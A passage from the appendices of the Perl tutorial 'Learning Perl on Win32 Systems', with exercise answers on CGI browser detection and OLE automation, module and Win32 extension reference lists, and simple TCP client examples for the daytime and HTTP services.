$_ = $browser;
if (/msie/) {
  msie($_);
} elsif (/mozilla/i) {
  netscape($_);
} elsif (/lynx/i) {
  lynx($_);
} else {
  default($_);
}

print end_html();
sub msie{
  print p("Internet Explorer: @_.  Good Choice\n");
}
sub netscape {
  print p("Netscape: @_.  Good Choice\n");
}
sub lynx {
  print p("Lynx: @_.  Shudder...");
}
sub default {
  print p("What the heck is a @_?");
}

    The key here is checking the environment for the HTTP_USER_AGENT variable (line 5). Although this step isn't implemented by every server, many of them do set the variable. This method is a good way to generate content geared at the features of a particular browser. Note that we're just doing some basic string matching (case insensitive) to see what they're using (nothing too fancy). Experienced Perl programmers would probably prefer to write the string-matching section more along these lines:

    BROWSER:{
  /msie/i    and do { msie($_), last BROWSER; };
  /mozilla/i and do { netscape($_), last BROWSER; };
  /lynx/i    and do { lynx($_), last BROWSER; };
  default($_);
}

    However we haven't talked about this construct in this book. If you're interested, see Chapter 2 of Programming Perl for several other ways to emulate a switch construct.

Previous: A.16 Chapter 17, Database Manipulation | Learning Perl on Win32 Systems | Next: A.18 Chapter 19, OLE Automation
A.16 Chapter 17, Database Manipulation | Book Index | A.18 Chapter 19, OLE Automation


[Appendix A] A.18 Chapter 19, OLE Automation

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

A.18 Chapter 19, OLE Automation

  1. Here are a couple of ways to do it with Internet Explorer 3.x:

    Here's one for the ActiveState distribution (5.003, build 306):

    use OLE;
$ie = CreateObject OLE "InternetExplorer.Application.1" ||
  die "CreateObject: $!";
$ie->{Visible} = 1;
$ie->Navigate("http://www.ora.com/publishing/perl/");

    And here's one for the Perl 5.004 distribution using libwin32:

    use Win32::OLE;
Win32::OLE::CreateObject("InternetExplorer.Application.1", $ie) || die "CreateObject: $!";
$ie->{Visible} = 1;
$ie->Navigate("http://www.ora.com/publishing/perl/");

  2. Here are some ways to solve this exercise (this example uses Microsoft Excel 97 - other versions may have slightly different automation objects):

    1. One solution for the ActiveState distribution is:

           use OLE;
     # grab the numbers
     @numbers = <STDIN>;
     # create the automation object
     $xl = CreateObject OLE "Excel.Application" ||
             die "CreateObject: $!";
     # show it and add a new workbook
     $xl->{Visible} = 1;
     $xl->Workbooks->Add();
     # start at the top left
     $col = "A"; $row = 1;
     foreach $num (@numbers) {
         chomp($num);
         $cell = sprintf("%s%d", $col, $row++);
         # add it to Excel
         $xl->Range($cell)->{Value}  = $num;
     }

    2. One solution for the Perl 5.004 distribution using libwin32 is:

           use Win32::OLE;
     # grab the numbers
     @numbers = <STDIN>;
     # create the automation object
     Win32::OLE::CreateObject("Excel.Application", $xl) ||
              die "CreateObject: $!";
     # show it and add a new workbook
     $xl->{Visible} = 1;
     $xl->Workbooks->Add();
     # start at the top left
     $col = "A"; $row = 1;
     foreach $num (@numbers) {
         chomp($num);
         $cell = sprintf("%s%d", $col, $row++);
         # add it to Excel
         $xl->Range($cell)->{Value}  = $num;
     }

    The first task is to grab our list of numbers (you'll need to enter CTRL-Z to terminate the input). After that, we create an Excel application object, make it visible by setting the {Visible} property, and then add a new workbook. Then, we iterate over our array of numbers and add them to Excel, incrementing the row counter as we go. Note that we could have saved this workbook using the Save method, and then terminated Excel using the Quit method, but we chose not to, so that we could see what was going on more easily.

Previous: A.17 Chapter 18, CGI Programming | Learning Perl on Win32 Systems | Next: B. Libraries and Modules
A.17 Chapter 18, CGI Programming | Book Index | B. Libraries and Modules


[Appendix B] Libraries and Modules

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: A.18 Chapter 19, OLE Automation Appendix B Next: B.2 Standard Modules

B. Libraries and Modules

Contents:
Library Terminology
Standard Modules
CPAN: Beyond the Standard Library
Win32 Extensions

For simple programs, you can easily write your own Perl routines and subroutines. As the tasks to which you apply Perl become more difficult, however, sometimes you'll find yourself thinking, "someone must have done this already." You are probably more right than you imagine.

For most common tasks, other people have already written the code. Moreover, they've placed it either in the standard Perl distribution or in the freely downloadable CPAN archive. To use this existing code (and save yourself some time), you'll have to understand how to make use of a Perl library. This task was briefly discussed in Chapter 18, CGI Programming.

One advantage in using modules from the standard distribution is that you can then share your program with others without having to take any special steps. This statement is true because the same standard library is available to Perl programs almost everywhere.

You'll save yourself time in the long run if you get to know the standard library. No one benefits from reinventing the wheel. You should be aware, however, that the library contains a wide range of material. While some modules may be extremely helpful, others may be completely irrelevant to your needs. For example, some modules are useful only if you are creating extensions to Perl.

To read the documentation for a standard module, use the perldoc program (if you have the standard distribution), or perhaps your web browser on HTML versions of the documentation. If all else fails, just look in the module itself; the documentation is contained within each module in pod format. To locate the module on your system, try executing this Perl program from the command line:

perl -e "print \"@INC\n\""

You should find the module in one of the directories listed by this command.

B.1 Library Terminology

Before we list the standard modules, let's untangle some terminology:

Package

A package is a simple namespace management device, which allows two different parts of a Perl program to each have a (different) variable named $fred. These namespaces are managed with the package declaration, described in Chapter 5 of Programming Perl.

Library

A library is a set of subroutines for a particular purpose. Often the library declares itself a separate package so that related variables and subroutines can be kept together, and so that they won't interfere with other variables in your program. Generally, an old-style library used to be placed in a separate file, often with a name ending in .pl. The library routines were then pulled into the main program via the require function. More recently this older approach has been replaced by the use of modules (see next paragraph), and the term library often refers to the entire system of modules that come with Perl.

Module

A module is a library that conforms to specific conventions, allowing the library routines to be brought into your program with the use directive at compile time. Module filenames end in .pm, because the use directive insists on that convention. Chapter 5 of Programming Perl describes Perl modules in greater detail.

Extension

An extension is a combination of a module written in Perl and a library written in C (or C++). On Win32 systems, these extensions are implemented as dynamic-link libraries and have a .pll file extension. Extension modules are used just like modules - with the use directive at compile time. The case is important here: it doesn't necessarily need to match the filename that the package is stored in, but should match the case used in the package declaration.

Pragma

A pragma is a module that affects the compilation phase of your program as well as the execution phase. Think of it as something that contains hints to the compiler. Unlike other modules, pragmas often (but not always) limit the scope of their effects to the innermost enclosing block of your program (that is, the block enclosing the pragma invocation). The names of pragmas are by convention all lowercase.

Previous: A.18 Chapter 19, OLE Automation | Learning Perl on Win32 Systems | Next: B.2 Standard Modules
A.18 Chapter 19, OLE Automation | Book Index | B.2 Standard Modules


[Appendix B] B.2 Standard Modules

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

B.2 Standard Modules

The following is a list of all Perl pragmas and modules included with the current Perl distribution (version 5.004). Modules new to 5.004 are italicized. The classification of the modules is admittedly arbitrary, and not all of them are applicable to Windows NT systems.

B.2.1 General Programming: Miscellaneous

autouse

Defers loading of a module until it's used

constant

Creates compile-time constants

Benchmark

Checks and compares running times of code

Config

Accesses Perl configuration information

Env

Imports environment variables

English

Uses English or awk names for punctuation variables

FindBin

Finds path of currently executing program

Getopt::Long

Provides extended processing of command-line options

Getopt::Std

Processes single-character switches with switch clustering

lib

Manipulates @INC at compile time

Shell

Runs shell commands transparently within Perl

strict

Restricts unsafe constructs

Symbol

Generates anonymous globs; qualifies variable names

subs

Predeclares subroutine names

vars

Predeclares global variable names

B.2.2 General Programming: Error Handling and Logging

Carp

Generates error messages

diagnostics

Forces verbose warning diagnostics

sigtrap

Enables stack backtrace on unexpected signals

Sys::Syslog

Provides Perl interface to UNIX syslog (3) calls

B.2.3 General Programming: File Access and Handling

Cwd

Gets pathname of current working directory

DirHandle

Supplies object methods for directory handles

Fcntl

Loads the C Fcntl.h defines

File::Basename

Parses file specifications

File::CheckTree

Runs many tests on a collection of files

File::Copy

Copies files or filehandles

File::Find

Traverses a file tree

File::Path

Creates or removes a series of directories

FileCache

Keeps more files open than the system permits

FileHandle

Supplies object methods for filehandles

SelectSaver

Saves and restores selected filehandles

B.2.4 General Programming: Classes for I/O Operations

IO

Top-level interface to IO::* classes

IO::File

Object methods for filehandles

IO::Handle

Object methods for I/O handles

IO::Pipe

Object methods for pipes

IO::Seekable

Seek-based methods for I/O objects

IO::Select

Object interface to select

IO::Socket

Object interface to sockets

B.2.5 General Programming: Text Processing and Screen Interfaces

locale

Uses POSIX locales for built-in operations

Pod::HTML

Converts POD data to HTML

Pod::Text

Converts POD data to formatted ASCII text

Search::Dict

Searches for key in dictionary file

Term::Cap

Interfaces termcap

Term::Complete

Word-completion module

Text::Abbrev

Creates an abbreviation table from a list

Text::ParseWords

Parses text into an array of tokens

Text::Soundex

Implements the Soundex Algorithm described by Knuth

Text::Tabs

Expands and unexpands tabs

Text::Wrap

Wraps text into a paragraph

B.2.6 Database Interfaces

AnyDBM_File

Provides framework for multiple DBMs

DB_File

Provides access to Berkeley DB

GDBM_File

Provides tied access to GDBM library

NDBM_File

Provides tied access to NDBM files

ODBM_File

Provides tied access to ODBM files

SDBM_File

Provides tied access to SDBM files

B.2.7 Mathematics

Integer

Does integer arithmetic instead of double precision

Math::BigFloat

Provides arbitrary-length, floating-point math package

Math::BigInt

Provides arbitrary-length integer math package

Math::Complex

Provides complex numbers package

B.2.8 The World Wide Web

CGI

Interfaces web server (Common Gateway Interface)

CGI::Apache

Supports Apache's Perl module

CGI::Carp

Details log server errors with helpful context

CGI::Fast

Supports FastCGI (persistent server process)

CGI::Push

Supports server push

CGI::Switch

Provides simple interface for multiple server types

B.2.9 Networking and Interprocess Communication

IPC::Open2

Opens a process for both reading and writing

IPC::Open3

Opens a process for reading, writing, and error handling

Net::Ping

Checks whether a host is online

Socket

Loads the C socket.h defines and structure manipulators

Sys::Hostname

Tries every conceivable way to get hostname

B.2.10 Automated Access to the Comprehensive Perl Archive Network

CPAN

Provides simple interface to CPAN

CPAN::FirstTime

Provides utility for creating CPAN configuration file

CPAN::Nox

Runs CPAN while avoiding compiled extensions

B.2.11 Time and Locale

Time::Local

Efficiently computes time from local and GMT time

I18N::Collate

Compares 8-bit scalar data according to the current locale

B.2.12 Object Interfaces to Built-in Functions

Class::Struct

Declares struct-like datatypes as Perl classes

File::stat

Provides object interface to stat function

Net::hostent

Provides object interface to gethost* functions

Net::netent

Provides object interface to getnet* functions

Net::protoent

Provides object interface to getproto* functions

Net::servent

Provides object interface to getserv* functions

Time::gmtime

Provides object interface to gmtime function

Time::localtime

Provides object interface to localtime function

Time::tm

Provides internal object for Time::{gm,local}time

User::grent

Provides object interface to getgr* functions

User::pwent

Provides object interface to getpw* functions

B.2.13 For Developers: Autoloading and Dynamic Loading

AutoLoader

Loads functions only on demand

AutoSplit

Splits a package for autoloading

Devel::SelfStubber

Generates stubs for a SelfLoading module

DynaLoader

Provides automatic dynamic loading of Perl modules

SelfLoader

Loads functions only on demand

B.2.14 For Developers: Language Extensions and Platform Development Support

blib

Finds blib directory structure during module builds

ExtUtils::Embed

Provides utilities for embedding Perl in C programs

ExtUtils::Install

Installs files from here to there

ExtUtils::Liblist

Determines libraries to use and how to use them

ExtUtils::MakeMaker

Creates a Makefile for a Perl extension

ExtUtils::Manifest

Provides utilities to write and check a MANIFEST file

ExtUtils::Miniperl

Writes the C code for perlmain.c

ExtUtils::Mkbootstrap

Makes a bootstrap file for use by DynaLoader

ExtUtils::Mksymlists

Writes linker-option files for dynamic extension

ExtUtils::MM_OS2

Provides methods to override UNIX behavior in ExtUtils::MakeMaker

ExtUtils::MM_Unix

Provides methods used by ExtUtils::MakeMaker

ExtUtils::MM_VMS

Provides methods to override UNIX behavior in ExtUtils::MakeMaker

ExtUtils::testlib

Fixes @INC to use just-built extension

Opcode

Disables opcodes when compiling Perl code

ops

Provides pragma for use with Opcode module

POSIX

Interfaces to IEEE Std 1003.1

Safe

Creates safe namespaces for evaluating Perl code

Test::Harness

Runs Perl standard test scripts with statistics

vmsish

Enables VMS-specific features

B.2.15 For Developers: Object-Oriented Programming Support

Exporter

Provides default import method for modules

overload

Overloads Perl's mathematical operations

Tie::RefHash

Provides base-class definitions for tied hashes with references as keys

Tie::Hash

Provides base-class definitions for tied hashes

Tie::Scalar

Provides base-class definitions for tied scalars

Tie::StdHash

Provides base-class definitions for tied hashes

Tie::StdScalar

Provides base-class definitions for tied scalars

Tie::SubstrHash

Provides fixed-table-size, fixed-key-length hashing

UNIVERSAL

Provides base-class definitions for all classes

Previous: B.1 Library Terminology | Learning Perl on Win32 Systems | Next: B.3 CPAN: Beyond the Standard Library
B.1 Library Terminology | Book Index | B.3 CPAN: Beyond the Standard Library


[Appendix B] B.3 CPAN: Beyond the Standard Library

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

B.3 CPAN: Beyond the Standard Library

If you don't find an entry in the standard library that fits your needs, someone still may have written code that will be useful to you. Many superb library modules exist that are not included in the standard distribution, for various practical, political, and pathetic reasons. To find out what is available, you can look at the Comprehensive Perl Archive Network (CPAN). See the discussion of CPAN in Chapter 1, Introduction.

Here are the major categories of modules available from CPAN:

  • Module listing format

  • Perl core modules, Perl language extensions, and documentation tools

  • Development support

  • Operating system interfaces

  • Networking, device control (modems), and interprocess communication

  • Data types and data type utilities

  • Database interfaces

  • User interfaces

  • Interfaces to or emulations of other programming languages

  • Filenames, filesystems, and file locking (see also filehandles)

  • String processing, language text processing, parsing, and searching

  • Option, argument, parameter, and configuration-file processing

  • Internationalization and locale

  • Authentication, security, and encryption

  • World Wide Web, HTML, HTTP, CGI, and MIME

  • Server and daemon utilities

  • Archiving, compression, and conversion

  • Images, pixmap and bitmap manipulation, drawing and graphing

  • Mail and Usenet news

  • Control-flow utilities (callbacks and exceptions)

  • Filehandle, directory handle, and input/output stream utilities

  • Microsoft Windows modules

  • Miscellaneous modules

Previous: B.2 Standard Modules | Learning Perl on Win32 Systems | Next: B.4 Win32 Extensions
B.2 Standard Modules | Book Index | B.4 Win32 Extensions


[Appendix B] B.4 Win32 Extensions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

B.4 Win32 Extensions

We've said that extensions consist of a module written in Perl, and a library written in C or C++. Win32 extensions are valuable tools because they provide Windows-specific functionality that otherwise wouldn't be present in the base language. The following list details the extensions included with the ActiveState distribution (these are also available for the standard distribution via the libwin32 distribution, available from CPAN).

OLE (Win32::OLE in the libwin32 distribution)

Access to OLE automation and OLE variants

Win32::Process

Access to extended Win32 process creation and management; includes methods to kill, suspend, resume, and set the priorities of processes

Win32::Semaphore

Provides access to Win32 semaphores and synchronization

Win32::IPC

Provides sychronization for objects of type Semaphore, Mutex, Process, or ChangeNotify

Win32::Mutex

Provides access to Win32 mutex objects

Win32::ChangeNotify

Provides access to Win32 change-notification objects, letting you do things like monitor changes to directory trees

Win32::EventLog

Provides access to the Windows NT event log

Win32::Registry

Provides access to the Windows NT registry

Win32::NetAdmin

Lets you manipulate users and groups

Win32::File

Lets you get and set file attributes

Win32::Service

Provides a service control interface: lets you start, pause, resume, and stop services

Win32::NetResource

Lets you work with shares, both as a client and a server

Win32::FileSecurity

Lets you work with file permissions on NTFS

Win32::Error

Provides an interface to the system error codes and messages

The following Win32 extensions are not included in (but are readily available for) the ActiveState distribution, and are included with the libwin32 distribution.

Win32::Internet

Provides an interface to HTTP and FTP

Win32::ODBC

Provides an interface to ODBC data sources

Win32::Shortcut

Lets you create Explorer (shell) shortcuts

Win32::Sound

Plays .wav files or uses system sounds

Win32::AdminMisc

Provides an extension of Win32::NetAdmin that adds user impersonation, password manipulation, and DNS administration

Win32::Clipboard

Accesses the Windows NT clipboard

Win32::Console

Interfaces to console screen drawing; lets you do colors, boxes, etc.

Win32::Pipe

Provides access to named pipes on Windows NT

In addition to these extensions, a Win32 extension is included with the ActiveState distribution, and is available as part of libwin32. The Win32 extension provides the following list functions (we've given a brief code snippet to illustrate how you might code each one):

Win32::GetLastError

Returns the last error value generated by a call to a Win32 API function:

use Win32;
$err = Win32::GetLastError();
Win32::BuildNumber

Returns the build number of Perl for Win32:

use Win32:
$build = Win32::BuildNumber(); # $build has 306 (or whatever it is)
Win32::LoginName

Returns the username of the owner of the current perl process:

use Win32;
$user = Win32::LoginName();   # $user has eriko (account name of
    current user)
Win32::NodeName

Returns the Microsoft Network node name of the current machine:

use Win32;
$node = Win32::NodeName(); # $node has machine name
Win32::DomainName

Returns the name of the Microsoft Network domain that the owner of the current perl process is logged into:

use Win32;
$domain = Win32::Domain();  # $domain has network domain name (not
    TCP/IP domain name)
Win32::FsType

Returns a string naming the filesystem type of the currently active drive:

use Win32;
$fs = Win32::FsType();     # $fs contains fs type, like NTFS or FAT
Win32::GetCwd

Returns the current active drive and directory; this function does not return a UNC path:

use Win32;
$cwd = Win32::GetCwd();      # $cwd has current working directory
Win32::SetCwd NEW_DIRECTORY

Sets the current active drive and directory; this function does not work with UNC paths:

use Win32;
Win32::SetCwd("c:/temp") || die "SetCwd: $!";
Win32::GetOSVersion

Returns an array ($string, $major, $minor, $build, and $id). $string is a descriptive string, $major is the major version of the operating system, $minor is the minor version of the operating system, $build is the build number of the OS, and $id is a digit that denotes the operating system variety (zero for Win32s, one for Windows 95, and two for Windows NT):

use Win32;
($string, $major, $minor, $build, $id) = Win32::GetOSVersion();
@os = qw(Win32s, Win95, WinNT);
print "$os[$id] $major\.$minor $string (Build $build)\n";

The output on a Windows NT 4.0 system is:

WinNT 4.0 Service Pack 3 (Build 1381)
Win32::FormatMessage ERROR_CODE

Converts the supplied Win32 error bitmap (returned by GetLastError) to a descriptive string:

use Win32;
use Win32::WinError;  # for error constants
$msg = Win32::FormatMessage(ERROR_INTERNAL_ERROR);
# $msg contains the string: There is not enough space on disk
Win32::Spawn COMMAND, ARGS, PID

Spawns a new process using the supplied COMMAND, passing in arguments in the string ARGS; the pid of the new process is stored in PID:

use Win32;
Win32::Spawn('c:/nt/system32/notepad.exe', undef, $pid); # $pid has
    new pid of notepad
Win32::LookupAccountName SYSTEM, ACCOUNT, DOMAIN, SID, SIDTYPE

Looks up ACCOUNT on SYSTEM and returns the domain name, SID, and SID type

Win32::LookupAccountSID SYSTEM, SID, ACCOUNT, DOMAIN, SIDTYPE

Looks up SID (Security ID) on SYSTEM and returns the account name, domain name, and SID type:

use Win32;
Win32::LookupAccountSID(undef, $some_sid, $acct, $domain, $sidtype);
Win32::InitiateSystemShutdown MACHINE, MESSAGE, TIMEOUT, FORCECLOSE, REBOOT

Shuts down the specified MACHINE (undef means local machine), notifying users with the supplied MESSAGE, within the specified TIMEOUT (in seconds) interval. Forces closing of all documents without prompting the user if FORCECLOSE is true, and reboots the machine if REBOOT is true (be careful experimenting with this one):

use Win32;
Win32::InitiateSystemShutdown(undef, "Bye",  15, undef, 1);
# try to shut down local machine
Win32::AbortSystemShutdown MACHINE

Aborts a shutdown on the specified MACHINE:

use Win32;
Win32::AbortSystemShutdown(undef);
# stop a shutdown on local machine
Win32::GetTickCount

Returns the Win32 tick count, which is the number of milliseconds that have elasped since the system started:

use Win32;
$tick = Win32::GetTickCount();
# tick has number of milliseconds since system start
Win32::IsWinNT

Returns nonzero if the operating system is Windows NT:

use Win32;
$winnt = Win32::IsWinNT();  # true if running on Windows NT
Win32::IsWin95

Returns nonzero if the operating system is Windows 95:

use Win32;
$win95 = Win32::IsWin95(); # true if running on Windows 95
Win32::ExpandEnvironmentStrings STRING

Takes the STRING and builds a return string that has environment-variable strings replaced with their defined values:

use Win32;
$path = Win32::ExpandEnvironmentStrings('%PATH%'); # $path contains expanded PATH
Win32::GetShortPathName LONGPATHNAME

Returns the short (8.3) pathname for LONGPATHNAME:

use Win32;
$short = Win32::GetShortPathName('words.secret');   # $short now has 8.3 name (WORDS~1.SEC)
Win32::GetNextAvailDrive

Returns a string in the form of <d>:\ where <d> is the first available drive letter:

use Win32;
$drive = Win32::GetNextAvailDrive();  # $drive has first drive (e.g,. B:)

Previous: B.3 CPAN: Beyond the Standard Library | Learning Perl on Win32 Systems | Next: C. Networking Clients
B.3 CPAN: Beyond the Standard Library | Book Index | C. Networking Clients


[Appendix C] Networking Clients

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: B.4 Win32 Extensions Appendix C Next: C.2 A Webget Client

C. Networking Clients

Contents:
A Simple Client
A Webget Client

Few computers (or computer users, for that matter) are content to remain isolated from the rest of the world. Networking, once mostly limited to government research labs and computer science departments at major universities, is now available to virtually everyone, even home computer users with a modem and dial-up SLIP or PPP service. More than ever, networking is now used daily by organizations and individuals from every walk of life. They use networking to exchange email, schedule meetings, manage distributed databases, access company information, grab weather reports, pull down today's news, chat with someone in a different hemisphere, or advertise their company on the Web.

These diverse applications all share one thing in common: they use TCP networking, the fundamental protocol that links the Net together.[1] And we don't just mean the Internet, either. Firewalls aside, the underlying technology is the same whether you're connecting far across the Internet, between your corporate offices, or from your kitchen down to your basement. As a result, you only have to learn one technology for all sorts of application areas.

[1] Actually, IP (Internet Protocol) ties the Internet together, but TCP/IP is just a layer on top of IP.

How can you use networking to let an application on one machine talk to a different application, possibly on a totally different machine? With Perl, it's pretty easy, but first you should probably know a little bit about how the TCP networking model works.

Even if you've never touched a computer network before in your whole life, you already know another connection-based system: the telephone system. Don't let fancy words like "client-server programming" put you off. When you see the word "client," think "caller"; when you see the word "server," think "responder." If you ring someone up on the telephone, you are the client. Whoever picks up the phone at the other end is the server.

Programmers with a background in C programming may be familiar with sockets. A socket is the interface to the network in the same sense that a filehandle is the interface to files in the filesystem. In fact, for the simple stream-based clients we're going to demonstrate below, you can use a socket handle just as you would a filehandle.[2]

[2] Well, almost; you can't seek on a socket.

You can read from the socket, write to it, or both. That's because a socket is a special kind of bidirectional filehandle representing a network connection. Unlike normal files created via open, sockets are created using the low-level socket function.

Let's squeeze a little more mileage out of our telephone model. When you call into a big company's telephone switchboard, you can ask for a particular department by one name or another (such as Personnel or Human Resources), or by an exact number (like extension 213). Think of each service running on a computer as a department in a large corporation. Sometimes a particular service has several different names, such as both http and www, but only one number, such as 80. That number associated with a particular service name is its port. The Perl functions getservbyname and getservbyport can be used to look up a service name given its port number, or vice versa. Table C.1 lists some standard TCP services and their port numbers.

Table C.1: Standard TCP Services and Their Port Numbers
Service | Port | Purpose
echo | 7 | Accepts all input and echoes it back
discard | 9 | Accepts anything but does nothing with it
daytime | 13 | Returns the current date and time in local format
ftp | 21 | Server for file-transfer requests
telnet | 23 | Server for interactive telnet sessions
smtp | 25 | Simple mail transfer protocol; the mailer daemon
time | 37 | Return number of seconds since 1900 (in binary)
http | 80 | The World Wide Web server
nntp | 119 | The news server

Although sockets were originally developed for Berkeley UNIX, the overwhelming popularity of the Internet has induced virtually all operating-systems vendors to include socket support for client-server programming. For this book, directly using the socket function is a bit low level. We recommend that you use the more user-friendly IO::Socket module,[3] which we'll use in all our sample code. Consequently, we'll also be employing some of Perl's object-oriented constructs. For a brief introduction to these constructs, see Chapter 18, CGI Programming. The perltoot documentation (starting with Perl 5.004) and Chapter 5 of Programming Perl offer a more complete introduction to object-oriented programming in Perl.

[3] IO::Socket is included as part of the standard Perl distribution as of the 5.004 release and the current ActiveState at the time of this writing. If you're running an earlier version of Perl, just fetch IO::Socket from CPAN.

We don't have the space in this book to provide a full TCP/IP tutorial, but we can at least present a few simple clients. For servers, which are a bit more complicated, see Chapter 6 of Programming Perl. Generally speaking, writing servers in Perl on Windows NT is a difficult task because Perl doesn't currently offer support for threads, and there's no easy way to implement support for multiple simultaneous clients. This may change in the future, so stay tuned for future Perl releases.

C.1 A Simple Client

For our simplest client, we'll choose a rather boring service, called "daytime." The daytime server sends a connecting client one line of data containing the time of day on that remote server, then closes the connection.

Here's the client:

use IO::Socket;
$remote = IO::Socket::INET->new(
 Proto => "tcp",
 PeerAddr => "localhost",
 PeerPort => "daytime(13)",
 )
 or die "cannot connect to daytime port at localhost";
while ( <$remote> ) { print }

When you run this program, you should get something back that looks like this:

Thu May 8 11:57:15 1997

Here are what those parameters to the new constructor mean:

Proto

The protocol to use. In this case, the socket handle returned will be connected to a TCP socket, because we want a stream-oriented connection, that is, one that acts pretty much like a plain old file. Not all sockets are of this type. For example, the UDP protocol can be used to make a datagram socket, used for message-passing.

PeerAddr

The name or Internet address of the remote host the server is running on. We could have specified a longer name like www.perl.com, or an address like 204.148.40.9. For demonstration purposes, we've used the special hostname localhost, which should always mean the current machine you're running on. The corresponding Internet address for localhost is 127.0.0.1, if you'd rather use that.

PeerPort

This is the service name or port number we'd like to connect to. We could have gotten away with using just daytime on systems with a well-configured system services file,[4] but just in case, we've specified the port number (13) in parentheses. Using just the number would also have worked, but numbers as constants make careful programmers nervous.

[4] The system services file is in %windir%/system32/drivers/etc/services under Windows NT.

Notice how the return value from the new constructor is used as a filehandle in the while loop? That example is an indirect filehandle, which is a scalar variable containing a filehandle. You can use this filehandle as you would a normal filehandle. For example, you can read one line from it this way:

$line = <$handle>;

Or all remaining lines from it this way:

@lines = <$handle>;

And send a line of data to it this way:

print $handle "some data\n";

Previous: B.4 Win32 Extensions | Learning Perl on Win32 Systems | Next: C.2 A Webget Client
B.4 Win32 Extensions | Book Index | C.2 A Webget Client


[Appendix C] C.2 A Webget Client

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

C.2 A Webget Client

Here's a simple client that contacts a remote server and fetches a list of documents from it. This is a more interesting client than the previous one because it sends a line of data to the server before fetching that server's response.

use IO::Socket;
unless (@ARGV > 1) { die "usage: $0 host document ..." }
$host = shift(@ARGV);
foreach $document ( @ARGV ) {
 $remote = IO::Socket::INET->new( Proto => "tcp",
 PeerAddr => $host,
 PeerPort => "http(80)",
 );
 unless ($remote) { die "cannot connect to http daemon on $host" }
 $remote->autoflush(1);
 print $remote "GET $document HTTP/1.0\n\n";
 while ( <$remote> ) { print }
 close $remote;
}

The web server handling the http service is assumed to be at its standard port, number 80. If the server you're trying to connect to is at a different port (say, 8080), you should give PeerPort => 8080 as the third argument to new(). The autoflush method is used on the socket because otherwise the system would buffer up the output we sent.

Connecting to the server is only the first part of the process: after you have the connection, you have to use the server's language. Each server on the network has its own little command language that it expects as input. The string that we send to the server starting with GET is in HTTP syntax. In this case, we simply request each specified document. Yes, we really are making a new connection for each document, even though it's the same host. That's the way it works with HTTP. (Recent versions of web browsers may request that the remote server leave the connection open a little while, but the server doesn't have to honor such a request.)

We'll call our program webget.plx. Here's how it might execute:

command_prompt> perl webget.plx www.perl.com /guanaco.html
HTTP/1.1 404 File Not Found
Date: Thu, 08 May 1997 18:02:32 GMT
Server: Apache/1.2b6
Connection: close
Content-type: text/html
<HEAD><TITLE>404 File Not Found</TITLE></HEAD>
<BODY><H1>File Not Found</H1>
The requested URL /guanaco.html was not found on this server.<P>
</BODY>

OK, so the program is not very interesting, because it didn't find that particular document. But a long response wouldn't have fit on this page.

For a more full-featured version of this program, you should look for the lwp-request program included with the LWP modules from CPAN.

You might also want to investigate the Win32::Internet extension module that provides easy access to the HTTP and FTP protocols. Win32::Internet is bundled with libwin32, or is available separately for those using the ActiveState distribution.

Previous: C.1 A Simple Client | Learning Perl on Win32 Systems | Next: D. Topics We Didn't Mention
C.1 A Simple Client | Book Index | D. Topics We Didn't Mention


[Appendix D] Topics We Didn't Mention

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: C.2 A Webget Client Appendix D Next: D.2 The Debugger

D. Topics We Didn't Mention

Contents:
Full Interprocess Communications
The Debugger
The Command Line
Other Operators
Many, Many More Functions
Many, Many Predefined Variables
Symbol Table Manipulation With *FRED
Additional Regular Expression Features
Packages
Embeddible, Extensible
And Other Stuff

Yes, it's amazing. A book this long, and some things still weren't covered. The footnotes contain additional helpful information.

The purpose of this section is not to teach you about the things listed here, but merely to provide a list. You'll need to go to Programming Perl, the perl documentation, the Perl FAQ, the Perl for Win32 FAQ, the HTML documents in CPAN's doc directory, the Usenet support groups, or the Perl mailing lists to get further information.

D.1 Full Interprocess Communications

Yes, Perl can do networking. Beyond the TCP/IP stream sockets discussed in Appendix C, Networking Clients, Perl also supports UDP-based message passing, named and anonymous pipes, semaphores, mutexes, process control, IPC, signal handling, and more. See Chapter 6 of Programming Perl or the perlipc documentation for standard modules, and the networking section of the CPAN modules directory for third-party modules.

Previous: C.2 A Webget Client | Learning Perl on Win32 Systems | Next: D.2 The Debugger
C.2 A Webget Client | Book Index | D.2 The Debugger


[Appendix D] D.2 The Debugger

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

D.2 The Debugger

Perl has a wonderful source-level debugger, which the perldebug documentation will tell you all about.

Previous: D.1 Full Interprocess Communications | Learning Perl on Win32 Systems | Next: D.3 The Command Line
D.1 Full Interprocess Communications | Book Index | D.3 The Command Line


[Appendix D] D.3 The Command Line

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

D.3 The Command Line

The Perl interpreter has a plethora of command-line switches. Check out the perlrun documentation for information.

Previous: D.2 The Debugger | Learning Perl on Win32 Systems | Next: D.4 Other Operators
D.2 The Debugger | Book Index | D.4 Other Operators


[Appendix D] D.4 Other Operators

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

D.4 Other Operators

The comma operator, for one. And there are the bit manipulation operators &, |, ^, and ~, the ternary ?\ : operator, and the .\|. and .\|.\|. flip-flop operators, just to name a few.

And there are some variations on operators, like using the g modifier on match. For this and more, see perlop.

Previous: D.3 The Command Line | Learning Perl on Win32 Systems | Next: D.5 Many, Many More Functions
D.3 The Command Line | Book Index | D.5 Many, Many More Functions


[Appendix D] D.5 Many, Many More Functions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

D.5 Many, Many More Functions

Yes, Perl has a lot of functions. We're not going to list them here, because the fastest way to find out about them is to read through the function section of Programming Perl or the perlfunc documentation and look at anything you don't recognize that sounds interesting. Here are a few of the more interesting ones.

D.5.1 grep and map

The grep function selects elements from its argument list, based upon the result of an expression that's repeatedly evaluated for its truth value, with the $_ variable successively set to each element in the list. For example:

@bigpowers = grep $_ > 6, 1, 2, 4, 8, 16; # gets (8, 16)
@b_names = grep /^b/, qw(fred barney betty wilma);
@textfiles = grep -T, <*>;

